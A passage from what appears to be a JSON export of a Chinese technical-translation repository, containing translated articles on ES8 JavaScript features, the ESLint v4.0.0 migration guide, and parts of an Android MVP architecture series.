'xxx']\nObject.values('es8'); // ['e', 's', '8']\n```\n\n目前浏览器对于 `Object.values` 函数的支持情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Q-K5Cjjb9qnIviRmbn_Ccg.png\">\n\n介绍完 `Object.values` 函数，接下来继续介绍 `Object.entries` 函数。 `Object.entries` 函数与 `Object.values` 函数类似，也是返回一个数组，只不过这个数组是一个以源对象（参数）的可枚举属性的键值对为数组 `[key, value]` 的 n 行 2 列的数组。它的返回顺序与 `Object.values` 函数类似。它的函数声明如下：\n\n```javascript\nObject.entries(obj)\n```\n\n示例代码如下：\n\n```javascript\nconst obj = { x: 'xxx', y: 1 };\nObject.entries(obj); // [['x', 'xxx'], ['y', 1]]\n\nconst obj = ['e', 's', '8'];\nObject.entries(obj); // [['0', 'e'], ['1', 's'], ['2', '8']]\n\nconst obj = { 10: 'xxx', 1: 'yyy', 3: 'zzz' };\nObject.entries(obj); // [['1', 'yyy'], ['3', 'zzz'], ['10': 'xxx']]\nObject.entries('es8'); // [['0', 'e'], ['1', 's'], ['2', '8']]\n```\n\n目前浏览器对于 `Object.entries` 函数的支持情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*QROuy9LbQuGS4Z_vUDztDA.png\">\n\n---\n\n### getOwnPropertyDescriptors函数\n\nObject 中还有一个新成员，那就是 `Object.getOwnPropertyDescriptors` 函数。该函数返回指定对象（参数）的所有**自身属性描述符**。所谓自身属性描述符就是在对象自身内定义，不是通过原型链继承来的属性。函数声明如下：\n\n```javascript\nObject.getOwnPropertyDescriptors(obj)\n```\n\n`obj` 参数即为源对象，该函数返回的每个描述符对象可能会有的 key 值分别是：`configurable`、`enumerable`、`writable`、`get`、`set`和`value`。示例代码如下：\n\n```javascript\nconst obj = { \n  get es7() { return 777; },\n  get es8() { return 888; }\n};\nObject.getOwnPropertyDescriptor(obj);\n// {\n//   es7: {\n//     configurable: true,\n//     enumerable: true,\n//     get: function es7(){}, //the getter function\n//     set: undefined\n//   },\n//   es8: {\n//     configurable: true,\n//     enumerable: true,\n//     get: function es8(){}, //the getter function\n//     set: undefined\n//   }\n// }\n```\n\n描述符数据非常重要，尤其是在装饰器上。该函数的浏览器支持情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*S5kbcy_dAqPJXqHs-9ZTMw.png\">\n\n---\n\n### 结尾逗号\n\n此处结尾逗号指的是在函数参数列表中最后一个参数之后的逗号以及函数调用时最后一个参数之后的逗号。ES8 允许在函数定义或者函数调用时，最后一个参数之后存在一个结尾逗号而不报 `SyntaxError` 的错误。示例代码如下： \n\n> 函数声明时\n\n```javascript\nfunction es8(var1, var2, var3,) {\n  // ...\n}\n```\n\n> 函数调用时\n\n```javascript\nes8(10, 20, 30,);\n```\n\nES8的这项新特性受启发于对象或者数组中最后一项内容之后的逗号，如 `[10, 20, 30,]` 和 `{ x: 1, }` 。\n\n\n---\n\n### 异步函数\n\n由 `async` 关键字定义的函数声明定义了一个可以异步执行的函数，它返回一个 `AsyncFunction` 类型的对象。异步函数的内在运行机制和 `Generator` 函数非常类似，但是不能转化为 `Generator` 函数。\n> ps: 不理解 `Generator` 函数的读者可以参考[阮一峰大师的ES6入门中关于Generator函数的讲解](http://es6.ruanyifeng.com/#docs/generator)\n\n示例代码如下：\n\n```javascript\nfunction fetchTextByPromise() {\n  return new Promise(resolve => { \n    setTimeout(() => { \n      resolve(\"es8\");\n    }, 2000);\n  });\n}\nasync function sayHello() { \n  const externalFetchedText = await fetchTextByPromise();\n  console.log(`Hello, ${externalFetchedText}`); // Hello, es8\n}\nsayHello();\n```\n\n上述代码中， `sayHello` 函数的调用将会导致在2秒之后打印 `Hello, es8` 。继续来看一段代码：\n\n```javascript\nconsole.log(1);\nsayHello();\nconsole.log(2);\n```\n\n输出将会变成：\n\n```javascript\n1 // immediately\n2 // immediately\nHello, es8 // after 2 seconds\n```\n\n之所以会打印上述内容，那是因为异步函数不会阻塞程序的继续执行。\n> 译者注：\n> \n> 此处打个小广告，如果有读者对于 JavaScript 的异步机制还有不明白的地方，可以参考本人的一篇博客[javascript异步机制](https://github.com/ToBeNumerOne/blog/blob/master/js-async.md)，里面是本人关于异步机制的一点拙见,相信会对您有一点启发。欢迎指正与交流！\n\n异步函数的浏览器支持情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*o9uz3ul-hxd4zDL6ADVCow.png\">\n\n---\n\n### 共享内存与原子操作\n\n当内存被共享时，多个线程可以并发读、写内存中相同的数据。原子操作可以确保那些被读、写的值都是可预期的，即新的事务是在旧的事务结束之后启动的，旧的事务在结束之前并不会被中断。这部分主要介绍了 ES8 中新的构造函数 `SharedArrayBuffer` 以及拥有许多静态方法的命名空间对象 `Atomic` 。\n\n`Atomic` 对象类似于 `Math` 对象，拥有许多静态方法，所以我们不能把它当做构造函数。 `Atomic` 对象有如下常用的静态方法：\n\n* add /sub - 为某个指定的value值在某个特定的位置增加或者减去某个值\n* and / or /xor - 进行位操作\n* load - 获取特定位置的值\n\n该部分的浏览器兼容情况如下（信息来自 MDN ）：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*YQ8a02yltTM1Vfphdik5_g.png\">\n\n---\n\n### 取消模版字符串限制（ ES9 ）\n\n使用 ES6 中规定的模版字符串，我们可以做如下事情：\n\n```javascript\nconst esth = 8;\nhelper`ES ${esth} is `;\nfunction helper(strs, ...keys) {\n  const str1 = strs[0]; // ES\n  const str2 = strs[1]; // is\n  let additionalPart = '';\n  if (keys[0] == 8) { // 8\n    additionalPart = 'awesome';\n  }\n  else {\n    additionalPart = 'good';\n  }\n  \n  return `${str1} ${keys[0]} ${str2} ${additionalPart}.`;\n}\n```\n\n上述代码的返回值将会是 `ES 8 is awesome` 。如果 esth 是 7 的话，那么返回值将会是 `ES 7 is good` 。这样做完全没有问题，很酷！但是我们在使用模版字符串的时候，有一个限制，那就是不能使用类似于 `\\u 或者 \\x` 的子字符串， ES9 正在处理这个问题。详情请查阅[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals)或者[TC39文档](https://tc39.github.io/proposal-template-literal-revision/)。**模板字符串修正(非模板字符串)**的浏览器兼容情况如下（信息来自 MDN ）:\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uO1Rt_UtQWPaBCSnF9vA_g.png\">\n\n\n---\n\n### 结语\n\nJavaScript 正处于高速发展中，时常会被更新。我们必须准备好接受、拥抱 JavaScript 的新特性。最后，上述这些特性被 TC39 委员会所确认以及被一些核心开发人员所实现。甚至许多新特性现在已经成为了 TypeScript、浏览器以及一些语法糖的一部分，所以我们现在就可以尝试使用它们，积极拥抱新特性。\n\n![](https://cdn-images-1.medium.com/max/800/1*cA1Y2VmIvRnUJUvjUPNZ2A.png)\n\n最后，你可以在[Medium](https://medium.com/@dormoshe)或者[Twitter](https://twitter.com/DorMoshe)上来关注我，进而查看更多有关 JavaScript 和 Angular 的文章。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/eslint-migrating-to-4.0.0.md",
    "content": "> * 原文地址：[ESLint Migrating to v4.0.0](http://eslint.org/docs/user-guide/migrating-to-4.0.0)\n> * 原文作者：[ESLint](http://eslint.org/docs/user-guide/migrating-to-4.0.0)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[吃土小2叉](https://github.com/xunge0613)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[sqrthree](https://github.com/sqrthree)\n\n# ESLint v4.0.0 升级指南\n\nESLint v4.0.0 是 ESLint 的第 4 个主版本。当然，我们希望大多数变更只影响极少数用户。本文旨在帮助您了解具体有哪些更改。\n\n以下列表大致按每个更改可能影响的用户数量进行排序，排序越靠前影响的用户数越多。\n\n### ESLint 使用者请注意\n\n1. [`eslint:recommended` 新增规则](#eslint-recommended-changes)\n2. [`indent` 规则将更严格](#indent-rewrite)\n3. [现在配置文件中未识别的属性会报告严重错误](#config-validation)\n4. [忽略文件将从 .eslintignore 文件所在目录开始解析](#eslintignore-patterns)\n5. [默认情况下 `padded-blocks` 规则将更严格](#padded-blocks-defaults)\n6. [默认情况下 `space-before-function-paren` 规则将更严格](#space-before-function-paren-defaults)\n7. [默认情况下 `no-multi-spaces` 规则将更严格](#no-multi-spaces-eol-comments)\n8. [现在必须包含命名空间，才能引用限定在命名空间下的插件](#scoped-plugin-resolution)\n\n\n### ESLint 插件开发者和自定义规则开发者请注意\n\n1. [现在 `RuleTester` 将验证测试用例对象的属性](#rule-tester-validation)\n2. [AST 节点不再具有注释属性](#comment-attachment)\n3. [在 AST 遍历期间不会触发 `LineComment` 和 `BlockComments` 事件](#)\n4. [现在 Shebang 可以通过注释 API 返回](#shebangs)\n\n### 集成开发者请注意\n\n1. [`linter.verify()` API 不再支持 `global` 属性](#global-property)\n2. [现在更多报告消息具有完整的位置范围](#report-locations)\n3. [部分暴露的 API 将使用 ES2015 中的类](#exposed-es2015-classes)\n\n\n---\n\n## `eslint:recommended` 新增规则\n\n[`eslint:recommended`](http://eslint.org/docs/user-guide/configuring#using-eslintrecommended) 中新增了两条规则：\n\n- [`no-compare-neg-zero`](http://eslint.org/docs/rules/no-compare-neg-zero) 不允许与 `-0` 进行比较\n- [`no-useless-escape`](http://eslint.org/docs/rules/no-useless-escape) 不允许在字符串和正则表达式中使用无意义的换行符\n \n**注:** 如果要与 ESLint 3.x 的 `eslint:recommended` 保持一致，您可以在配置文件中禁用上述规则：\n\n```\n{\n  \"extends\": \"eslint:recommended\",\n\n  \"rules\": {\n    \"no-compare-neg-zero\": \"off\",\n    \"no-useless-escape\": \"off\"\n  }\n}\n```\n\n## `indent` 规则将更严格\n\n过去的 [`indent`](http://eslint.org/docs/rules/indent) 规则在检查缩进方面是相当宽容的：过去的缩进校验规则会忽略许多代码模式。而这会让用户产生困扰，因为他们偶尔会有不正确的代码缩进，并且他们本期望 ESLint 能够发现这些问题（译者补充：然而并没有发现）。\n\n在 ESLint v4.0.0 中，`indent` 规则被重写。新版规则将报告出旧版规则无法发现的缩进错误。另外，`MemberExpression` 节点、函数声明参数以及函数调用参数将默认进行缩进检查（过去为了向后兼容，这些默认都被忽略了）。\n\n为了方便升级到 ESLint 4.0.0，我们引入了 [`indent-legacy`](/docs/rules/indent-legacy) 规则作为 ESLint 3.x 中 `indent` 规则的快照。如果你在升级过程中遇到了 `indent` 规则的相关问题，那么您可以借助于 `indent-legacy` 规则来维持与 3.x 一致。然而，`indent-legacy` 规则已被弃用并且在将来不再维护，所以您最终还是应该使用 `indent` 规则。\n\n**注：** 推荐在升级过程中不要更改 `indent` 配置，并修正新的缩进错误。然而如果要与 ESLint 3.x 的 `indent` 规则保持一致，您可以这样配置：\n\n```\n{\n  rules: {\n    indent: \"off\",\n    \"indent-legacy\": \"error\" // 用之前的 `indent` 配置替换此处\n  }\n}\n```\n\n##  现在配置文件中未识别的属性会报告严重错误\n\n在创建配置文件时，用户有时候会犯拼写错误或者弄错配置文件的结构。在以前，ESLint 并不会验证配置文件中的属性，因此很难调试配置文件中的拼写错误。而从 ESLint v4.0.0 起，当配置文件中存在未识别的属性或者属性类型有错误时，ESLint 会抛出一个错误。\n\n**注：** 升级后如果发现配置文件验证出错，请检查配置文件中是否存在拼写错误。如果使用了未识别的属性，那么应该将之从配置文件中移除，从而使 ESLint 恢复正常。\n\n## 忽略文件将从 .eslintignore 文件所在目录开始解析\n\n过去由于一个 bug，`.eslintignore` 文件的路径名模板是从进程的当前工作目录解析，而不是 `.eslintignore` 文件的位置。从 ESLint 4.0 开始，`.eslintignore` 文件的路径名模板将从 `.eslintignore` 文件的位置解析。\n\n**注：** 如果您使用 `.eslintignore` 文件，并且您经常从项目根目录以外的地方运行 ESLint，则可能会以不同的模式匹配路径名。您应该更新 `.eslintignore` 文件中的匹配模式，以确保它们与该文件相关，而不是与工作目录相关。\n\n##  默认情况下 `padded-blocks` 规则将更严格\n\n现在默认情况下， [`padded-blocks`](http://eslint.org/docs/rules/padded-blocks) 规则要求在类内填充空行以及在 switch 语句中填充空行。而过去除非用户更改配置，否则默认情况下这条规则会忽略上述情况的检查。\n\n**注：** 如果此更改导致代码库中出现更多的错误，您应该修复它们或重新配置规则。\n\n##  默认情况下 `space-before-function-paren` 规则将更严格\n\n现在默认情况下， [`space-before-function-paren`](http://eslint.org/docs/rules/space-before-function-paren) 规则要求异步箭头函数的圆括号与 `async` 关键词之间存在空格。而过去除非用户更改配置，否则默认情况下这条规则会忽略对异步箭头函数的检查。\n\n**注：** 如果要与 ESLint 3.x 的默认配置保持一致，您可以这样配置：\n\n```\n{\n  \"rules\": {\n    \"space-before-function-paren\": [\"error\", {\n      \"anonymous\": \"always\",\n      \"named\": \"always\",\n      \"asyncArrow\": \"ignore\"\n    }]\n  }\n}\n```\n\n##  默认情况下 `no-multi-spaces` 规则将更严格\n\n现在默认情况下， [`no-multi-spaces`](http://eslint.org/docs/rules/no-multi-spaces) 规则禁止行尾注释前存在多个空格。而过去这条规则不对此进行检查。\n\n**注：** 如果要与 ESLint 3.x 的默认配置保持一致，您可以这样配置：\n\n```\n{\n  \"rules\": {\n    \"no-multi-spaces\": [\"error\", {\"ignoreEOLComments\": true}]\n  }\n}\n```\n\n## 现在必须包含命名空间，才能引用限定在命名空间下的插件\n\n在 ESLint 3.x 中存在一个 bug：引用限定在命名空间下的插件可能会忽略该命名空间。举个例子，在 ESLint 3.x 中以下配置是合法的：\n\n```\n{\n  \"plugins\": [\n    \"@my-organization/foo\"\n  ],\n  \"rules\": {\n    \"foo/some-rule\": \"error\"\n  }\n}\n```\n\n换句话说，过去可以引用限定命名空间的插件的规则（例如 `foo/some-rule`），同时无需明确声明 `@my-organization` 的命名空间。这是一个 bug，因为如果同时加载了一个名为 `eslint-plugin-foo` 的不限定命名空间的插件，可能会导致引用规则时产生歧义。\n\n为了避免歧义，在 ESLint 4.0 中必须包含命名空间，才能引用限定在命名空间下的插件。\n\n```\n{\n  \"plugins\": [\n    \"@my-organization/foo\"\n  ],\n  \"rules\": {\n    \"@my-organization/foo/some-rule\": \"error\"\n  }\n}\n```\n\n**注：** 如果您在配置文件中引用了限定在命名空间下的插件，那么请确保在引用的时候包含命名空间。\n\n---\n\n## 现在 `RuleTester` 将验证测试用例对象的属性\n\n从 ESLint 4.0 开始，`RuleTester` 工具将验证测试用例对象的属性，如果遇到未知属性，将抛出错误。这番改动是因为我们发现开发人员在测试规则时的拼写错误是比较常见的，且通常会使测试用例试图作出的断言无效。\n\n**注：** 如果您对自定义规则的测试用例对象具有额外的属性，则应该移除这些属性。\n\n## AST 节点不再具有注释属性\n\n在 ESLint 4.0 之前，ESLint 需要解析器实现附加注释的解析，这个过程中，AST 节点将从源文件的前后置注释中获取额外的相关联属性。这就使得用户很难去开发自定义解析器，因为他们不得不去重复解析那些令人困惑同时又是 ESlint 必需的附加注释语义。\n\n在 ESLint 4.0 中，我们已经摆脱了附加注释的概念，并将所有的注释处理逻辑转移到了 ESLint 本身。这样可以更容易地开发自定义解析器，但这也意味着 AST 节点将不再具有 `leadingComments` 和 `trailingComments` 属性。 从概念上来说，规则作者现在可以在 tokens 上下文而不是 AST 节点的上下文中考虑注释。\n\n**注：** 如果您有一个依赖于 AST 节点的 `leadingComments` 或 `trailingComments` 属性的自定义规则，则可以分别使用 `sourceCode.getCommentsBefore()` 和 `sourceCode.getCommentsAfter()` 替代。\n\n此外，`sourceCode` 对象现在也有 `sourceCode.getCommentsInside()` 方法（它返回一个节点内的所有注释），`sourceCode.getAllComments()` 方法（它返回文件中的所有注释），并允许注释通过各种其他 token 迭代器方法（例如 `getTokenBefore()` 和 `getTokenAfter()`）并设置选项`{includeComments：true}` 进行访问。\n\n对于想要同时兼容 ESLint v3.0 和 v4.0 的规则作者，现在已经不推荐使用的 `sourceCode.getComments()` 仍然可用，并且这两个版本都兼容。\n\n最后请注意，以下 `SourceCode` 方法已被弃用，将在以后的 ESLint 版本中被移除：\n\n- `getComments()` - 请使用 `getCommentsBefore()`、`getCommentsAfter()` 和 `getCommentsInside()` 来替换\n- `getTokenOrCommentBefore()` - 请使用 `getTokenBefore()` 方法并设置选项 `{includeComments:true}` 来替换\n- `getTokenOrCommentAfter()` -  请使用 `getTokenAfter()` 方法并设置选项 `{includeComments:true}` 来替换\n\n## 在 AST 遍历期间不会触发 `LineComment` 和 `BlockComments` 事件\n\n从 ESLint 4.0 开始，在 AST 遍历期间不会触发 `LineComment` 和 `BlockComments` 事件。原因如下：\n\n- 过去这种行为依赖于在解析器级别的注释附属物，而自 ESLint 4.0 开始不再如此，以确保所有注释将被考虑\n- 在 tokens 上下文中考虑注释更容易预测和更容易理解，而非在 AST 节点上下文中考虑注释 token\n\n**注：** 规则现在可以使用`sourceCode.getAllComments()` 来获取文件中的所有注释，而非依赖于 `LineComment` 和 `BlockComment`。要检查特定类型的所有注释，规则可以使用以下模式：\n\n```\nsourceCode.getAllComments().filter(comment => comment.type === \"Line\");\nsourceCode.getAllComments().filter(comment => comment.type === \"Block\");\n```\n\n##  现在 Shebang 可以通过注释 API 返回\n\n（译者注：Shebang 是一个由井号和叹号构成的字符序列 ` #!`，其出现在文本文件的第一行的前两个字符。参考：[Shebang_(Unix)](https://en.wikipedia.org/wiki/Shebang_(Unix))）\n\n在 ESLint 4.0 之前，源文件中的 shebang 注释不会出现在 `sourceCode.getAllComments()` 或 `sourceCode.getComments()` 的输出中，但它们将作为行注释出现在 `sourceCode.getTokenOrCommentBefore` 的输出中。这种不一致会给规则开发者带来困惑。\n\n在 ESLint 4.0 中，shebang 注释被视为 `Shebang` 类型的注释 tokens，并可以通过任何返回注释的 `SourceCode` 方法返回。该变化的目的是为了让 shebang 的评论更符合其他 tokens 的处理方式。\n\n**注：** 如果您有一个自定义规则对注释执行操作，可能需要一些额外的逻辑来确保 shebang 注释被正确处理或被正常过滤掉：\n\n```\nsourceCode.getAllComments().filter(comment => comment.type !== \"Shebang\");\n```\n\n---\n\n## `linter.verify()` API  不再支持 `global` 属性\n\n过去，`linter.verify()` API 接受  `global` 属性作为一个配置项，它与官方文档中的 `globals` 作用相同。但是，`global` 属性从未出现在官方文档中或者被官方支持，并且在配置文件中该属性会失效。自 ESLint 4.0 起，该属性已被移除。\n\n**注：** 如果您先前使用了 global 属性，请用 globals 属性替换，其作用与 global 相同。\n\n## 现在更多报告消息具有完整的位置范围\n\n从 ESLint 3.1.0 开始，除了开始位置之外，规则还可以通过调用 `report` 时明确指定一个结束位置来指定问题报告的**结束**位置。这对于编辑器集成这样的工具很有用，可以使用范围来精确显示出现问题的位置。从 ESLint 4.0 开始，如果报告了**节点**而不是一个具体位置，则该结束位置的范围将自动从节点的结束位置推断出来。因此，更多报告的问题将会有结束位置。\n\n这不会带来兼容性问题。然而，这可能会导致比以前更大的报告位置范围。例如，如果一条规则报告的是 AST 的根节点，则问题的范围将是整个程序。在某些集成中，这可能导致用户体验不佳（例如，如果整个程序都被高亮显示以指示错误）。\n\n**注：** 如果您有处理报告问题范围的集成，请确保以对用户友好的方式处理大型报告范围。\n\n## 部分暴露的 API 将使用 ES2015 中的类\n\n现在部分 ESLint 的 Node.js API，比如 `CLIEngine`、`SourceCode` 以及 `RuleTester` 模块使用了 ES2015 中的类。当然这不会影响到接口的正常使用，不过这的确会产生一些明显的影响（举个例子，`CLIEngine.prototype` 将不可枚举）。\n\n**注：** 如果您需要对 ESLint 的 Node.js API 提供的方法进行枚举遍历，可以用诸如 `Object.getOwnPropertyNames` 的函数来访问不可枚举属性。（译者注：可参考[ MDN 文档：属性的可枚举性和所有权](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Enumerability_and_ownership_of_properties)）\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part-2.md",
    "content": "> * 原文地址：[Essential Guide For Designing Your Android App Architecture: MVP: Part 2](https://blog.mindorks.com/essential-guide-for-designing-your-android-app-architecture-mvp-part-2-b2ac6f3f9637#.k8ic3b2b3)\n* 原文作者：[Janishar Ali](https://blog.mindorks.com/@janishar.ali?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[tanglie1993](https://github.com/tanglie1993)\n* 校对者：[skyar2009](https://github.com/skyar2009), [Danny1451](https://github.com/Danny1451)\n\n# Android MVP 架构必要知识：第二部分 #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*eHluapKk6_AaHNd2gkLi3A.png\">\n\n这是本系列文章的第二部分。在第一部分，我们提出了 MVP 的概念，并做出了一个安卓应用架构的蓝图。如果你还没有阅读第一部分，那么大部分接下来的文章将对你没有多大意义。所以，在你继续读下去之前，浏览一遍第一部分。\n\n\n[这是指向第一部分的链接](https://github.com/xitu/gold-miner/blob/master/TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part.md):\n\n\n\n[**Android MVP 架构必要知识：第一部分**](https://github.com/xitu/gold-miner/blob/master/TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part.md) \n\n基于在第一部分中提出的蓝图，我们将开发一个成熟的安卓应用，通过它实现 MVP 架构。\n\nMVP 项目的 GitHub repo 地址:\n\n[**MindorksOpenSource/android-mvp-architecture**](https://github.com/MindorksOpenSource/android-mvp-architecture)\n\n本项目旨在提供一种正确的安卓应用架构方式。它包括了大多数安卓应用的全部代码模块。\n\n这个项目刚开始看起来会很复杂，但是随着你花时间去探索，你看它也会变得更清晰明了。这个项目是用 Dagger2, Rxjava, FastAndroidNetworking  和 PlaceHolderView 实现的。\n\n> 把这个项目当作一个学习案例。研究它的每一行代码。如果这里面有任何 bug 或者你能想出一个更好的逻辑实现，创建一个 pull request。我们在逐步写测试。欢迎你为测试做贡献，并通过 pull request 的方式提交。\n\n开发出的应用的截屏如下：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*qJTkiwJEUD8nW3VE5qr-9Q.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*DO5gQCd9qJ7_WMaIof2eBQ.png\">\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/400/1*d4WOBPrzv7N19tfkeY636Q.gif\">\n\n这个应用有一个登录页面和一个主页面。登录页面实现了 Google，Facebook 和服务器登录。Google 和 Facebook 登录是通过哑 API 实现的。登录是基于获取 access token 的，接下来的调用都被这个 token 所保护。主屏幕创建了和 MVP 相关问题的答题卡。这个 repo 包含了任何应用的大多数组件所需的基本框架。\n\n让我们看一眼项目的结构：\n\n整个应用被打包为五个部分：\n\n1. **data**: 它包含所有访问和操控数据的组件。\n2. **di**: 使用 Dagger2 提供依赖的类。\n3. **ui**: View 类和它们对应的 Presenter。\n4. **service**: 应用需要的服务。\n5. **utils**: 工具类。\n\n类的设计方法是这样的：它们应该能够被继承，并能最大化代码复用。\n\n#### 项目结构图: ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*SnfdPTpsXXSvojWE-joSJw.png\">\n\n> 简单的想法包含复杂的概念。\n\n有很多非常有趣的部分。但如果我尝试同时解释所有的部分，信息量就太大了。所以，我认为最好的做法是解释核心的理念。这样，读者就可以通过浏览项目 repo 来理解这些代码。我建议你至少花一周时间研究这个项目。按照时间从后到前的顺序研究这些主要的类。\n\n\n1. 研究 build.gradle 并寻找它使用的所有依赖。\n2. 探索 data 包以及 helper 类的实现。\n3. ui base 包创建了Activity, Fragment, SubView 和 Presenter 的基类。所有其他相关的组件都应该从这些类派生。\n4. di 包是应用中负责提供依赖的类。要理解依赖注入，请浏览我发表的由两部分组成的文章，[**Dagger2 part 1**](https://blog.mindorks.com/introduction-to-dagger-2-using-dependency-injection-in-android-part-1-223289c2a01b#.bse4rt4mz) 和 [**Dagger2 part 2**](https://blog.mindorks.com/introduction-to-dagger-2-using-dependency-injection-in-android-part-2-b55857911bcd#.lahv7yh36)。\n5. 资源：Styles, fonts, drawable。\n\n如有任何问题，请在Twitter上联系我：\n\n[**janishar ali (@janisharali) | Twitter**\nThe latest Tweets from janishar ali (@janisharali): \"Check out the new release of Android-Debug-Database with complete…](https://twitter.com/janisharali)\n\n### 参考资源: ###\n\n- **RxJava2**: [https://github.com/amitshekhariitbhu/RxJava2-Android-Samples](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples) \n- **Dagger2**: [https://github.com/MindorksOpenSource/android-dagger2-example](https://github.com/MindorksOpenSource/android-dagger2-example)\n- **FastAndroidNetworking**: [https://github.com/amitshekhariitbhu/Fast-Android-Networking](https://github.com/amitshekhariitbhu/Fast-Android-Networking)\n- **PlaceHolderView**: [https://github.com/janishar/PlaceHolderView](https://github.com/janishar/PlaceHolderView)\n- **AndroidDebugDatabase**: [https://github.com/amitshekhariitbhu/Android-Debug-Database](https://github.com/amitshekhariitbhu/Android-Debug-Database)\n- **Calligraphy**: [https://github.com/chrisjenx/Calligraphy](https://github.com/chrisjenx/Calligraphy)\n- **GreenDao**: [http://greenrobot.org/greendao/](http://greenrobot.org/greendao/)\n- **ButterKnife**: [http://jakewharton.github.io/butterknife/](http://jakewharton.github.io/butterknife/) \n\n**感谢阅读本文。如果你感觉它有帮助，请点击下面的 推荐这篇文章。这将让他人在 feed 中看到这篇文章，从而传播知识。**\n\n更多关于编程的知识，请关注 [**我**](https://medium.com/@janishar.ali) 和 [**Mindorks**](https://blog.mindorks.com/) , 这样一旦我们发了新帖，你将会收到提醒。\n\n[Mindorks 的最佳文章都在这里](https://mindorks.com/blogs) \n\nCoder’s Rock :)\n"
  },
  {
    "path": "TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part-3.md",
    "content": "> * 原文地址：[Essential Guide For Designing Your Android App Architecture: MVP: Part 3 (Dialog, ViewPager, RecyclerView, and Adapters)](https://blog.mindorks.com/essential-guide-for-designing-your-android-app-architecture-mvp-part-3-dialog-viewpager-and-7bdfab86aabb)\n> * 原文作者：[Janishar Ali](https://blog.mindorks.com/@janishar.ali?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/essential-guide-for-designing-your-android-app-architecture-mvp-part-3.md)\n> * 译者：[woitaylor](https://github.com/woitaylor)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)\n\n# Android MVP 架构必要知识：第三部分（Dialog，ViewPager，RecyclerView 以及 Adapters)\n\n![](https://cdn-images-1.medium.com/max/2000/1*pjBVelQ5lYEA_yLHK7j1Jg.png)\n\n\nAndroid MVP 架构系列文章的第1部分和第2部分自发布以来非常受欢迎，对此我感到很高兴。并且因为你们的建议和贡献，项目也优化得更好了。\n\n在这个开发过程中，许多人询问过如何在这个架构中使用 `Dialog` 以及基于 `Adapter` 的视图。因此，我会在这篇博客中补充这两点。\n\n如果你还没有阅读前面两篇博客，那么我会强烈建议在阅读本文之前阅读这两篇博客。下面是博客的链接地址：\n\n- [[译] Android MVP 架构必要知识：第一部分](https://juejin.im/entry/58a27b2d2f301e006958d4aa)\n- [[译] Android MVP 架构必要知识：第二部分](https://juejin.im/entry/58a5992961ff4b006c4455e3)\n- [**MindorksOpenSource/android-mvp-architecture**\n仓库里面有实现该框架完整的示例代码](https://github.com/MindorksOpenSource/android-mvp-architecture)\n\n在这篇文章中，我会添加一个评分对话框和 `Feed` 界面来扩展这个框架。\n\n> 译者：`Feed` 指的是 `RSS` 订阅源，[Feed 百科](https://baike.baidu.com/item/Feed/15181?fr=aladdin),下面的译文中我就直接使用 `Feed` 或者 `RSS`。\n\n> 